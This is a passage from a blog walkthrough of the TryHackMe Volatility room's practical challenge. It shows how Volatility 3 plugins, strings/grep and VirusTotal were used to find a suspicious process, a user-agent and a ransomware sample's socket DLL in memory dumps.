https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/5aa8d87f918869ed77f6c5f8063d7f6f_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now we have our output, see anything odd? I mentioned this in my previous &lt;em&gt;Volatility&lt;/em&gt; post, but typically when looking at a &lt;em&gt;Windows&lt;/em&gt; process list, I like to refer to the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Hunt Evil&lt;/a&gt; reference poster to understand normal &lt;em&gt;Windows&lt;/em&gt; processes which helps tremendously during analysis.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, this is a pretty short list and one of these process sticks out to me. Let’s confirm our suspicion and submit the answer but before we do, pay attention to the note on the submissions page…&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Note: Certain special characters may not be visible on the provided VM. When doing a copy-and-paste, it will still copy all characters.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;While we are here, let’s make a special note to grab the process ID (PID) of the suspicious process as well, we will need this to answer Question 5. So now we have the PID as well, let’s copy directly from the virtual machine, and paste our answer!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c344f0f0082f35a9b01fa105928b84e0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/c344f0f0082f35a9b01fa105928b84e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-4-56&#34;&gt;Questions 4, 5, 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-parent-process-of-the-suspicious-process-in-case001&#34;&gt;What is the parent process of the suspicious process in Case 001?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-pid-of-the-suspicious-process-in-case001&#34;&gt;What is the PID of the suspicious process in Case 001?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-parent-process-pid-in-case001&#34;&gt;What is the parent process PID in Case 001?&#xA;&lt;/h4&gt;&lt;p&gt;Good work! Now that we have located the suspicious process, these next few questions will be straightforward. We just need to look at the output of &lt;strong&gt;pslist&lt;/strong&gt; and look at the information presented. These questions seem out of order to me but we’ll figure it out.&lt;/p&gt;&#xA;&lt;p&gt;Look at the columns in the output. We are going to focus on &lt;em&gt;Process ID (PID)&lt;/em&gt;, &lt;em&gt;Parent Process ID (PPID)&lt;/em&gt;, and &lt;em&gt;ImageFileName&lt;/em&gt;. Using the information in these columns, we can determine the answers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 4&lt;/strong&gt; is looking for the &lt;em&gt;ImageFileName&lt;/em&gt; of the parent process of the suspicious child process we located. To find it, search the &lt;strong&gt;pslist&lt;/strong&gt; output and look at the &lt;em&gt;PPID&lt;/em&gt; of the suspicious process (this could also answer &lt;strong&gt;Question 6…)&lt;/strong&gt; Then, locate the process with the matching &lt;em&gt;PID —&lt;/em&gt; this is the parent process and we can use the &lt;em&gt;ImageFileName&lt;/em&gt; as our answer_._ Once you find it, make a note of the PID as well so we can have it ready for &lt;strong&gt;Question 6&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Remember in &lt;strong&gt;Question 3&lt;/strong&gt; we made a note of the PID of the suspicious process? Now we can utilize it! &lt;strong&gt;Question 5&lt;/strong&gt; is asking for the PID of the suspicious process — easy enough, we will simply use the PID value of the suspicious process for our answer.&lt;/p&gt;&#xA;&lt;p&gt;Whew! We got them — let’s move on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;00afaed62542caf5da6d7c6c04b977b9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1049px&#34; data-flex-grow=&#34;437&#34; height=&#34;183&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/00afaed62542caf5da6d7c6c04b977b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-user-agent-was-employed-by-the-adversary-in-case001&#34;&gt;What user-agent was employed by the adversary in Case 001?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;question-8-was-chase-bank-one-of-the-suspicious-bank-domains-found-in-case-001yn&#34;&gt;Question 8: Was Chase Bank one of the suspicious bank domains found in Case 001? (Y/N)&#xA;&lt;/h4&gt;&lt;p&gt;Cool, I haven’t had a chance to look at the networking modules in &lt;em&gt;Volatility 3&lt;/em&gt; yet. We’ll start with the information given in the challenge scenario:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You have been informed of a suspicious IP in connection to the file that could be helpful. &lt;code&gt;_41.168.5.140_&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;We have an IP, let’s see if we can get any networking info with &lt;strong&gt;windows.netstat &amp;amp; windows.netscan.&lt;/strong&gt; Hmmm, the version of &lt;em&gt;Windows&lt;/em&gt; our memory dump was taken from doesn’t seem to be supported…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0cf30968fa3bcbb6a0fabc62b09502d6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;755px&#34; data-flex-grow=&#34;314&#34; height=&#34;254&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/0cf30968fa3bcbb6a0fabc62b09502d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s pivot and try something else. If we scan through the help files again, there isn’t an obvious plugin that can work to search for this suspicious IP address though…&lt;/p&gt;&#xA;&lt;p&gt;What if we could dump out the suspicious processes’ memory map? Maybe we can get some additional information or perform further analysis about the contents of files opened by this process that are mapped to the memory address space…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2a4d9b6c41226bf9e0f83283a82e24b3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3053px&#34; data-flex-grow=&#34;1272&#34; height=&#34;36&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/2a4d9b6c41226bf9e0f83283a82e24b3_MD5.png&#34; width=&#34;458&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember that before we started the investigation, I mentioned that some plugins have optional arguments? Here is a good example.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6a15e579d812f9509b346b26a2dabf18_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/6a15e579d812f9509b346b26a2dabf18_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We see that the &lt;strong&gt;memmap&lt;/strong&gt; plugin has some additional options that will help us here. We can try dumping the suspicious process that we identified earlier. This time we are going to set an output directory with the &lt;strong&gt;-o&lt;/strong&gt; parameter:&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-1.vmem -o &lt;output directory&gt; windows.memmap &amp;ndash;pid &lt;redacted&gt; &amp;ndash;dump&lt;/p&gt;&#xA;&lt;p&gt;This creates a dump file which contains way too much information for us to manually sift through. Let’s try to utilize the &lt;strong&gt;strings&lt;/strong&gt; command in Ubuntu and grep our output to be a bit more focused.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/focal/en/man1/strings.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Strings&lt;/strong&gt;&lt;/a&gt; is a command that searches the contents of a file for printable strings so it can help us pull out something human readable from the process dump.&lt;/p&gt;&#xA;&lt;p&gt;So what are we going to grep? Well, if we read the question back, it asks for a &lt;em&gt;user-agent&lt;/em&gt; so let’s just try that? If you aren’t familiar a &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;user-agent&lt;/a&gt; headers are strings that servers use to identify requesting client details like the operating system or the web browser version. In this case, let’s use the &lt;strong&gt;-i&lt;/strong&gt; argument to ignore case and just search for &lt;em&gt;user-agent.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;afa187a12ae95472b9550d541cc8c088_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;593px&#34; data-flex-grow=&#34;247&#34; height=&#34;314&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/afa187a12ae95472b9550d541cc8c088_MD5.png&#34; width=&#34;776&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3c0f0e7263e2553e1e9759826ce434c0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/3c0f0e7263e2553e1e9759826ce434c0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! It looks like we found something useful for our investigation that should answer &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now let’s tackle &lt;strong&gt;Question 8&lt;/strong&gt; and wrap Case 001 up. Since we already have the memory map for the suspicious process, maybe we can try the same logic as we did for &lt;strong&gt;Question 7&lt;/strong&gt; and just grep out “Chase” — could that work? Try it and find out!&lt;/p&gt;&#xA;&lt;p&gt;sudo strings /home/thmanalyst/evidence/pid.&lt;redacted&gt;.dmp | grep -i &amp;ldquo;Chase&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Great! Now we can submit, and close the case before moving on to our next set of challenges in Case 002!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;dafe0fbb370a4db38e6f48686ec71882_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2953px&#34; data-flex-grow=&#34;1230&#34; height=&#34;65&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/dafe0fbb370a4db38e6f48686ec71882_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e23f1fccdbb04f255880fa72c9373b11_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3047px&#34; data-flex-grow=&#34;1269&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/e23f1fccdbb04f255880fa72c9373b11_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;case-002that-kind-of-hurt-myfeelings&#34;&gt;Case 002 — &lt;strong&gt;That Kind of Hurt my Feelings&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;h3 id=&#34;question-9-what-suspicious-process-is-running-at-pid-740-in-case002&#34;&gt;Question 9: What suspicious process is running at PID 740 in Case 002?&#xA;&lt;/h3&gt;&lt;p&gt;Okay! Case 002 is an analysis of a ransomware strain. Since we have the PID of the suspicious process already, let’s use the &lt;strong&gt;pslist&lt;/strong&gt; plugin again and this time let’s grep only the suspicious PID:&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw wind&#xA;ows.pslist | grep 740&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;eedf9a03d5fface022777947b6a95287_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3368px&#34; data-flex-grow=&#34;1403&#34; height=&#34;57&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/eedf9a03d5fface022777947b6a95287_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Interesting. This file name seems like it might be related to a famous ransomware from a few years ago. Let’s keep that in mind as we move through the investigation. While we’re at it, let’s also make a note of the &lt;em&gt;parent process ID&lt;/em&gt; (PPID) too we’ll need it in &lt;strong&gt;Question 12&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9c14d5fda4937e3f4fe7ab7c6c5b5bcd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3254px&#34; data-flex-grow=&#34;1355&#34; height=&#34;59&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/9c14d5fda4937e3f4fe7ab7c6c5b5bcd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-is-the-full-path-of-the-suspicious-binary-in-pid-740-in-case002&#34;&gt;Question 10: What is the full path of the suspicious binary in PID 740 in Case 002?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s try to locate the file path of the suspicious binary. We’ll first try to lean on our process plugs (&lt;strong&gt;pslist, psscan, &amp;amp; pstree)&lt;/strong&gt; to see if we can find any information. Unfortunately, these commands aren’t giving us much additional information so we will go back to the &lt;em&gt;Volatility 3&lt;/em&gt; help and see if we can find a plugin that could help us.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6594fe3f3d526ee41587ab481286c0af_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2964px&#34; data-flex-grow=&#34;1235&#34; height=&#34;51&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/6594fe3f3d526ee41587ab481286c0af_MD5.png&#34; width=&#34;630&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the THM &lt;strong&gt;Task 7&lt;/strong&gt; Module:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This plugin will list all DLLs associated with processes at the time of extraction. This can be especially useful once you have done further analysis and can filter output to a specific DLL that might be an indicator for a specific type of malware you believe to be present on the system.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This could be useful to us from an investigative perspective but we also might get the file path of the binary that is loading the DLLs as well.&lt;/p&gt;&#xA;&lt;p&gt;As a refresher, DLLs (Dynamic Link Library) are binary files that provide shared functionality for executables that can be called when required.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library#summary&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;For the Windows operating systems, much of the functionality of the operating system is provided by DLL. Additionally, when you run a program on one of these Windows operating systems, much of the functionality of the program may be provided by DLLs. For example, some programs may contain many different modules, and each module of the program is contained and distributed in DLLs.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let’s give it a try and see what we can find.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw windows.dlllist | grep 740&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b3c0e0cba5139ab66d45a96a67793c31_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;705px&#34; data-flex-grow=&#34;294&#34; height=&#34;272&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/b3c0e0cba5139ab66d45a96a67793c31_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome — this is exactly what we were looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b440a88550c75ed87c259da10daf80b4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3096px&#34; data-flex-grow=&#34;1290&#34; height=&#34;62&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/b440a88550c75ed87c259da10daf80b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-11-12&#34;&gt;Questions 11 &amp;amp; 12:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-parent-process-of-pid-740-in-case002&#34;&gt;What is the parent process of PID 740 in Case 002?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-suspicious-parent-process-pid-connected-to-the-decryptor-in-case002&#34;&gt;What is the suspicious parent process PID connected to the decryptor in Case 002?&#xA;&lt;/h4&gt;&lt;p&gt;Alright, one step forward and two steps back. If you haven’t cleared your terminal yet, lets scroll back up to your &lt;strong&gt;pslist&lt;/strong&gt; output from &lt;strong&gt;Question 9.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the &lt;em&gt;PPID&lt;/em&gt; column for &lt;em&gt;PID 740.&lt;/em&gt; Remember in &lt;strong&gt;Question 9&lt;/strong&gt; where I mentioned we might want to make a note of the PPID of the suspicious process? That’s what we need for &lt;strong&gt;Question 12&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;We will use &lt;strong&gt;pslist&lt;/strong&gt; again and grep the parent process ID. After that, this becomes a simple matching game like we saw in Case 001.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw wind&#xA;ows.pslist | grep &lt;ppid redacted&gt;&lt;/p&gt;&#xA;&lt;p&gt;When reviewing the output, &lt;strong&gt;Question 11&lt;/strong&gt; is looking for the &lt;em&gt;ImageFileName&lt;/em&gt; of the process_._ Have fun!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c826b670e60970130a87917af6d894e0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1398px&#34; data-flex-grow=&#34;582&#34; height=&#34;132&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/c826b670e60970130a87917af6d894e0_MD5.png&#34; width=&#34;769&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0e889d1fff9ec6274fe3377e3abc7414_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1573px&#34; data-flex-grow=&#34;655&#34; height=&#34;122&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/0e889d1fff9ec6274fe3377e3abc7414_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-from-our-current-information-what-malware-is-present-on-the-system-in-case002&#34;&gt;Question 13: From our current information, what malware is present on the system in Case 002?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s get to &lt;em&gt;Google&lt;/em&gt; for some research of the artifacts we’ve found so far. We’ll start by searching for something broad, like the specific name of the executable that we discovered in &lt;strong&gt;Question 9&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We’ll stumble across a few links, but I chose the threat report from &lt;a class=&#34;link&#34; href=&#34;https://www.mandiant.com/resources/blog/wannacry-malware-profile&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mandiant&lt;/strong&gt;&lt;/a&gt; for this write-up.&lt;/p&gt;&#xA;&lt;p&gt;Based on the report — we have already discovered some of these indicators of compromise (IOCs) on our victim system. I think that we have determined the malware strain that infected the victim system:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;459620bcac7a0727789fe24324a87591_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3096px&#34; data-flex-grow=&#34;1290&#34; height=&#34;62&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/459620bcac7a0727789fe24324a87591_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-14-what-dll-is-loaded-by-the-decryptor-used-for-socket-creation-in-case002&#34;&gt;Question 14: What DLL is loaded by the decryptor used for socket creation in Case 002?&#xA;&lt;/h3&gt;&lt;p&gt;Reading through the &lt;a class=&#34;link&#34; href=&#34;https://www.mandiant.com/resources/blog/wannacry-malware-profile&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mandiant&lt;/strong&gt; report&lt;/a&gt; linked in &lt;strong&gt;Question 13&lt;/strong&gt;, there are some mentions of socket functions but not necessarily what DLL is loaded specifically for socket creation. Let’s do a little more manual work with &lt;em&gt;Volatility&lt;/em&gt; and perform our own analysis.&lt;/p&gt;&#xA;&lt;p&gt;First, we will dump the process to see if I can learn anything on &lt;em&gt;VirusTotal&lt;/em&gt; about any loaded DLLs by this executable. We’re going to dump this to an output directory and then retrieve the file hash for comparison.&lt;/p&gt;&#xA;&lt;p&gt;python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw -o /home/thmanalyst/evidence windows.pslist &amp;ndash;pid 740 &amp;ndash;dump&lt;/p&gt;&#xA;&lt;p&gt;sha256sum /home/thmanalyst/evidence/pid.740.0x400000.dmp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;438a12c1d553e8ca1b57f564774cf688_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/438a12c1d553e8ca1b57f564774cf688_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d0707cc6eaf8fda0c2df48a75b7f13bb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1156px&#34; data-flex-grow=&#34;481&#34; height=&#34;166&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/d0707cc6eaf8fda0c2df48a75b7f13bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the details tab, we’ll scroll down to the imports and take a look at the list of DLLs. It might not be the most efficient way, but we can quickly expand on all of the imports and see if we can spot any network or socket functions specifically. Let’s review the details; there is one that sticks out and looks like it could be relevant.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f376ee1772b21fab94d6858f5576bf76_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;121px&#34; data-flex-grow=&#34;50&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/f376ee1772b21fab94d6858f5576bf76_MD5.png&#34; width=&#34;229&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let’s return to the DLL list in our analysis environment and look at the output for this process again and see all of the DLLs loaded by this specific sample and verify we see the DLL here as well:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;93e2c87ed50c39c409ed290ac1ec856c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;615px&#34; data-flex-grow=&#34;256&#34; height=&#34;468&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/93e2c87ed50c39c409ed290ac1ec856c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/93e2c87ed50c39c409ed290ac1ec856c_MD5_hu_4802f0b5c43239ad.png 800w, https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/93e2c87ed50c39c409ed290ac1ec856c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, I am thinking we may have found the answer but let’s do some additional research. I’m going to try get a quick AI brief on this DLL from the &lt;em&gt;Microsoft Copilot&lt;/em&gt; for &lt;em&gt;Edge&lt;/em&gt; to before we validate the accuracy of the information through the reference links — it’s always important to verify the accuracy of AI output.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://malwaretips.com/blogs/ws2_32-dll-what-it-is-how-to-fix-errors/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The &lt;REDACTED&gt;.dll, also known as the Winsock2 DLL, is a dynamic link library file that provides essential functions for network communication in Windows operating systems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/winsock/initialization-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;REDACTED&gt;.dll plays a crucial role in managing network communication, ensuring compatibility, and facilitating efficient interactions between applications and service providers in the Windows environment&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay, confirmed! This seems like we can say with high confidence that the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/winsock/windows-sockets-start-page-2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Winsock2 DLL&lt;/a&gt; is what is used for socket creation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f28888ca2be5ea4af2e38ef2419ce588_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3047px&#34; data-flex-grow=&#34;1269&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-volatility-room-practical-challenge-walkthrough/f28888ca2be5ea4af2e38ef2419ce588_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 